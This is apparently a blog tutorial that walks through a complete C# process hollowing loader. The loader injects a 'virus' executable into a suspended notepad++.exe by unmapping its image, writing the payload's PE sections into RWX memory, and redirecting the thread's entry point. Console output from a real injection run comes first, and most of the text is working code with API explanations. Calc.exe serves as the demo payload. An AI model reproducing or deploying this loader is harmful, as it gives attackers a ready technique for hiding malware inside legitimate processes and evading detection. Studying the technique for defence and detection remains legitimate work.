27
loading...
This website collects cookies to deliver better user experience
Injecting TvnViewer.exe into notepad++.exe
[+] Creating Victim Process notepad++.exe
[*] Successfully created victim process notepad++.exe
[+] Retrieving Thread Handle of notepad++.exe
[*] Thread Handle at 0x2E0
[+] Allocating unmanaged memory for ThreadContext of notepad++.exe
[+] Retrieving ThreadContext of notepad++.exe
[+] Retrieving ImageBase Address of notepad++.exe
[*] notepad++.exe's ImageBase Address is 0xA5A7162010
[+] Allocating unmanaged memory for notepad++.exe's ImageBase
[+] Reading ImageBase from notepad++.exe's ImageBase Address
[*] ImageBase is 0xA5A7162010
[+] Unmapping notepad++.exe's Image
[*] Successfully unmapped...
[+] Retrieving E_LFANEW of TvnViewer.exe
[*] E_LFANEW is 0xF0
[+] Retrieving TvnViewer.exe's ImageBase
[*] ImageBase is 0x140000000
[+] Retrieving Size of TvnViewer.exe
[*] Size is 0x125000
[+] Allocating space for TvnViewer.exe's Image
[*] Space allocated at 0x5368709120
[+] Retrieving TvnViewer.exe's Header Size
[*] Header Size is 0x400
[+] Writing Headers of TvnViewer.exe into notepad++.exe at 0x5368709120
[*] Headers successfully written...
[+] Retrieving TvnViewer.exe's number of Sections
[*] Number of sections is 6
[+] Copying Section 1
[*] Name: .text
[*] Relative Virtual Address: 0x1000
[*] Size of Raw Data: 0xC5200
[*] Pointer to Raw Data: 0x400
[+] Copying Section 2
[*] Name: .rdata
[*] Relative Virtual Address: 0xC7000
[*] Size of Raw Data: 0x3CC00
[*] Pointer to Raw Data: 0xC5600
[+] Copying Section 3
[*] Name: .data
[*] Relative Virtual Address: 0x104000
[*] Size of Raw Data: 0x5800
[*] Pointer to Raw Data: 0x102200
[+] Copying Section 4
[*] Name: .pdata
[*] Relative Virtual Address: 0x10D000
[*] Size of Raw Data: 0xC800
[*] Pointer to Raw Data: 0x107A00
[+] Copying Section 5
[*] Name: .rsrc
[*] Relative Virtual Address: 0x11A000
[*] Size of Raw Data: 0x9000
[*] Pointer to Raw Data: 0x114200
[+] Copying Section 6
[*] Name: .reloc
[*] Relative Virtual Address: 0x123000
[*] Size of Raw Data: 0x1E00
[*] Pointer to Raw Data: 0x11D200
[+] ReWriting TvnViewer.exe's ImageBase 0x140000000 in memory
[ *] ImageBase rewriting successful...
[+] ReWriting TvnViewer.exe's EntryPoint 0x140000000 in ThreadContext
[ *] EntryPoint rewriting successful...
[+] Setting ThreadContext
[+] All set and ready to go!
[+] Resuming Thread...
calculator.exe
into notepad++.exe
using the Process Hollowing
technique.SUSPENDED
mode. This is done by calling CreateProcess
and setting the Process Creation Flag to CREATE_SUSPENDED (0x00000004)
. The primary thread of the new process is created in a suspended state, and does not run until the ResumeThread
function is called. Next, the malware needs to swap out the contents of the legitimate file with its malicious payload. This is done by unmapping the memory of the target process by calling either ZwUnmapViewOfSection
or NtUnmapViewOfSection
. These two APIs basically release all memory pointed to by a section. Now that the memory is unmapped, the loader performs VirtualAllocEx
to allocate new memory for the malware, and uses WriteProcessMemory
to write each of the malware’s sections to the target process space. The malware calls SetThreadContext
to point the entrypoint
to a new code section that it has written. At the end, the malware resumes the suspended thread by calling ResumeThread
to take the process out of suspended state.notepad++
, in a SUSPENDED
state. SUSPENDED
state, the victim process is loaded from the filesystem into memory but the primary thread does not run until the ResumeThread
function is called.BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
lpCommandLine
parameter. lpCommandLine
parameter instead.lpApplicationName
is NULL, the first white space–delimited token of the command line specifies the process name. If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin. Furthermore, if we were to ommit our extension for our process, it will auto append .exe
. Lets proceed to put the full path of notepad++.exe
.string notepadPath = @"D:\Program Files\Notepad++\notepad++.exe";
SUSPENDED
process. Thus we will be using the CREATE_SUSPENDED
flag which has a value 0x4
.name=value\0
process and thread handles
from it.static void Main(string[] args)
{
//Paths to our files
string notepadPath = @"D:\Program Files\Notepad++\notepad++.exe";
string virusPath = @"C:\Windows\System32\calc.exe";
byte[] victimFileBytes = File.ReadAllBytes(notepadPath);
IntPtr victimFilePointer = Marshal.UnsafeAddrOfPinnedArrayElement(victimFileBytes, 0);
byte[] virusFileBytes = File.ReadAllBytes(virusPath);
IntPtr virusFilePointer = Marshal.UnsafeAddrOfPinnedArrayElement(virusFileBytes, 0);
#region Create Victim Process in Suspended State
PInvoke.STARTUPINFO startupInfo = new PInvoke.STARTUPINFO();
PInvoke.PROCESS_INFORMATION processInformation = new PInvoke.PROCESS_INFORMATION();
bool couldNotCreateProcess = !PInvoke.CreateProcess(
lpApplicationName: null,
lpCommandLine: notepadPath,
lpProcessAttributes: IntPtr.Zero,
lpThreadAttributes: IntPtr.Zero,
bInheritHandles: false,
dwCreationFlags: PInvoke.CreationFlags.SUSPENDED,
lpEnvironment: IntPtr.Zero,
lpCurrentDirectory: null,
lpStartupInfo: startupInfo,
lpProcessInformation: processInformation
);
if (couldNotCreateProcess)
{
Console.WriteLine("Failed to create process...");
}
Console.WriteLine("Successfully created victim process...");
#endregion
}
ThreadContext
contains useful information like the values of the EntryPoint
or ImageBase
. These information can easily be obtained from the PE File itself, but it might not always be accurate due to Address Space Layout Randomization.notepad++.exe
is stalled in the SUSPENDED
state.ThreadContext
?BOOL GetThreadContext(
HANDLE hThread,
LPCONTEXT lpContext
);
CreateProcessA
, we passed in a lpProcessInformation
which is of type PROCESS_INFORMATION. The structure looks as follows in C#
./// <summary>
/// Contains information about a newly created process and its primary thread.
///
/// <see cref="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_information"/>\
/// <seealso cref="https://www.pinvoke.net/default.aspx/kernel32/CreateProcess.html"/>
/// </summary>
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
/// <summary>
/// A handle to the newly created process.
/// The handle is used to specify the process in all functions that perform operations on the process object.
/// </summary>
public IntPtr hProcess;
/// <summary>
/// A handle to the primary thread of the newly created process.
/// The handle is used to specify the thread in all functions that perform operations on the thread object.
/// </summary>
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
hThread
.IntPtr victimThreadHandle = processInformation.hThread;
ContextFlags
. The flag to use would be CONTEXT_FULL
to get the full context data.PInvoke.CONTEXT64 victimThreadContext = new PInvoke.CONTEXT64() { ContextFlags = PInvoke.CONTEXT_FLAGS.CONTEXT_ALL };
Refer to the WinNT.h header file for processor-specific definitions of this structures and any alignment requirements.
typedef struct DECLSPEC_ALIGN(16) DECLSPEC_NOINITALL _CONTEXT { ... }
CONTEXT
structure needs to be 16 bit aligned.Allocate
function which accepts the size of dynamic memory needed and the alignment value.IntPtr pVictimThreadContext = Allocate(Marshal.SizeOf<PInvoke.CONTEXT64>(), 16);
victimThreadContext
to the unmanaged memory byMarshal.StructureToPtr<PInvoke.CONTEXT64>(victimThreadContext, pVictimThreadContext, false);
GetThreadContext
as follows.PInvoke.GetThreadContext(victimThreadHandle, pVictimThreadContext);
pVictimeThreadContext
.victimThreadContext = Marshal.PtrToStructure<PInvoke.CONTEXT64>(pVictimThreadContext);
IntPtr victimThreadHandle = processInformation.hThread;
PInvoke.CONTEXT64 victimThreadContext = new PInvoke.CONTEXT64() { ContextFlags = PInvoke.CONTEXT_FLAGS.CONTEXT_ALL };
IntPtr pVictimThreadContext = Allocate(Marshal.SizeOf<PInvoke.CONTEXT64>(), 16);
Marshal.StructureToPtr<PInvoke.CONTEXT64>(victimThreadContext, pVictimThreadContext, false);
PInvoke.GetThreadContext(victimThreadHandle, pVictimThreadContext);
victimThreadContext = Marshal.PtrToStructure<PInvoke.CONTEXT64>(pVictimThreadContext);
ThreadContext
of our victim process in the first place? ImageBase
and EntryPoint
. Lets tackle the retrieval of ImageBase
.16 bytes
after this location contains the address of the location of ImageBase.ImageBase
location's address byulong rdx = victimThreadContext.Rdx;
ulong victimImageBaseAddress = rdx + 16;
ImageBase
value from it by using the function ReadProcessMemory
. More details of it can be found here.BOOL ReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesRead
);
Thread Handle
previously from the PROCESS_INFORMATION
structure, we can also obtain the Process Handle
in a similar fashion.IntPtr victimProcessHandle = processInformation.hProcess;
victimImageBaseAddress
.8 bytes
of unamanaged memory to store the ImageBase
.IntPtr victimImageBase = Marshal.AllocHGlobal(8);
PInvoke.ReadProcessMemory(victimProcessHandle, victimImageBaseAddress, victimImageBase, 8, out _);
ImageBase
is 4 bytes whereas for 64-bit, its 8 bytes.C#'s
discard variable, _
.ulong rdx = victimThreadContext.Rdx;
ulong victimImageBaseAddress = rdx + 16;
IntPtr victimProcessHandle = processInformation.hProcess;
IntPtr victimImageBase = Marshal.AllocHGlobal(8);
PInvoke.ReadProcessMemory(victimProcessHandle, victimImageBaseAddress, victimImageBase, 8, out _);
ImageBase
. We are going to hollow out the victim's memory starting from its ImageBase
.ZwUnmapViewOfSection
.NTSYSAPI NTSTATUS ZwUnmapViewOfSection(
HANDLE ProcessHandle,
PVOID BaseAddress
);
CreateProcessA
function. This function helps fill up our PROCESS_INFORMATION
block.PROCESS_INFORMATION
contains the handle to our victim process.IntPtr processHandle = processInformation.hProcess;
ImageBase
previously. We will be hollowing out the entire victim image, thus we start from its ImageBase
.if (PInvoke.ZwUnmapViewOfSection(victimProcessHandle, victimImageBase) == PInvoke.NTSTATUS.STATUS_ACCESS_DENIED)
{
Console.WriteLine("Failed to unmap section...");
return;
}
ImageBase
and Size
.LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
ImageBase
of the malware address so that everything fits perfectly.ImageBase
and Size
by looking into the internals of the PE File.COFF Header
. COFF Header
? DOS_HEADER
, we have a 4 byte integer variable called E_LFANEW
. This is located at an offset 0x3C
from the start of the file.E_LFANEW
contains the offset to get to the COFF Header
.E_LFANEW
,int virusElfanew = Marshal.ReadInt32(virusFilePointer, PInvoke.Offsets.E_LFANEW); // PInvoke.Offsets.E_LFANEW refers to 0x3C
COFF Header
using the E_LFANEW
, we can see from the image above that the ImageBase
is at 0x34
offset away and 4 bytes long. However, this is for 32-bit applications. For 64-bit applicaations, there are at a offset 0x30
away and are 8 bytes long.ImageBase
,long virusImageBase = Marshal.ReadInt64(virusFilePointer, virusElfanew + 0x30);
SizeOfImage
is 0x50
bytes away from the COFF
header.SizeOfImage
byuint sizeOfVirusImage = (uint)Marshal.ReadInt32(virusFilePointer, virusElfanew + 0x50);
MEM_COMMIT
, MEM_RESERVE
.PAGE_EXECUTE_READWRITE
int virusElfanew = Marshal.ReadInt32(virusFilePointer, PInvoke.Offsets.E_LFANEW);
long virusImageBase = Marshal.ReadInt64(virusFilePointer, virusElfanew + 0x30);
uint sizeOfVirusImage = (uint)Marshal.ReadInt32(virusFilePointer, virusElfanew + 0x50);
IntPtr allocatedNewRegionForVirus = PInvoke.VirtualAllocEx(victimProcessHandle, (IntPtr)virusImageBase, sizeOfVirusImage, PInvoke.AllocationType.Reserve | PInvoke.AllocationType.Commit, PInvoke.MemoryProtection.ExecuteReadWrite);
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
victimProcessHandle
that we obtained earlier.allocatedNewRegionForVirus
which we obtained from VirtualAllocEx
.Calculator.exe
.0x54
from the start of the PE Header.uint sizeOfVirusHeaders = (uint)Marshal.ReadInt32(virusFilePointer, virusElfanew + 0x54);
C#'s
discard variable, _
.uint sizeOfVirusHeaders = (uint)Marshal.ReadInt32(virusFilePointer, virusElfanew + 0x54);
if (!PInvoke.WriteProcessMemory(victimProcessHandle, allocatedNewRegionForVirus, virusFilePointer, sizeOfVirusHeaders, out _))
{
Console.WriteLine("Writing headers failed...");
return;
};
NumberOfSections
, SizeOfOptionalHeaders
and the SizeOfImageSectionHeader
.NumberOfSections
and SizeOfOptionalHeaders
byint numberOfSections = Marshal.ReadInt16(virusFilePointer, virusElfanew + 0x6);
int sizeOfOptionalHeader = Marshal.ReadInt16(virusFilePointer + virusElfanew + 0x10 + 0x04);
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_SECTION_HEADER
{
[FieldOffset(0)]
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public char[] Name;
[FieldOffset(8)]
public UInt32 VirtualSize;
[FieldOffset(12)]
public UInt32 VirtualAddress;
[FieldOffset(16)]
public UInt32 SizeOfRawData;
[FieldOffset(20)]
public UInt32 PointerToRawData;
[FieldOffset(24)]
public UInt32 PointerToRelocations;
[FieldOffset(28)]
public UInt32 PointerToLinenumbers;
[FieldOffset(32)]
public UInt16 NumberOfRelocations;
[FieldOffset(34)]
public UInt16 NumberOfLinenumbers;
[FieldOffset(36)]
public DataSectionFlags Characteristics;
public string Section
{
get { return new string(Name); }
}
}
Section
.int sizeOfImageSectionHeader = Marshal.SizeOf<PInvoke.IMAGE_SECTION_HEADER>();
int numberOfSections = Marshal.ReadInt16(virusFilePointer, virusElfanew + 0x6);
int sizeOfOptionalHeader = Marshal.ReadInt16(virusFilePointer + virusElfanew + 0x10 + 0x04);
int sizeOfImageSectionHeader = Marshal.SizeOf<PInvoke.IMAGE_SECTION_HEADER>();
for (int i = 0; i < numberOfSections; i++)
{
IntPtr sectionHeaderPointer = virusFilePointer + virusElfanew + 0x18 + sizeOfOptionalHeader + (i * sizeOfImageSectionHeader);
PInvoke.IMAGE_SECTION_HEADER sectionHeader = Marshal.PtrToStructure<PInvoke.IMAGE_SECTION_HEADER>(sectionHeaderPointer);
uint virtualAddress = sectionHeader.VirtualAddress;
uint sizeOfRawData = sectionHeader.SizeOfRawData;
uint pointerToRawData = sectionHeader.PointerToRawData;
byte[] bRawData = new byte[sizeOfRawData];
Buffer.BlockCopy(virusFileBytes, (int)pointerToRawData, bRawData, 0, bRawData.Length);
PInvoke.WriteProcessMemory(victimProcessHandle, (IntPtr)(virusImageBase + virtualAddress), Marshal.UnsafeAddrOfPinnedArrayElement(bRawData, 0), (uint)bRawData.Length, out _);
}
ImageBase
and EntryPoint
.byte[] bImageBase = BitConverter.GetBytes((long)virusImageBase);
if (!PInvoke.WriteProcessMemory(victimProcessHandle, (IntPtr)victimImageBaseAddress, bImageBase, 0x8, out _))
{
Console.WriteLine("Rewriting image base failed...");
return;
}
int virusEntryPointRVA = Marshal.ReadInt32(virusFilePointer, virusElfanew + 0x28);
victimThreadContext.Rcx = (ulong)allocatedNewRegionForVirus + (ulong)virusEntryPointRVA;
Marshal.StructureToPtr(victimThreadContext, pVictimThreadContext, true);
PInvoke.SetThreadContext(victimThreadHandle, pVictimThreadContext);
PInvoke.ResumeThread(victimThreadHandle);
27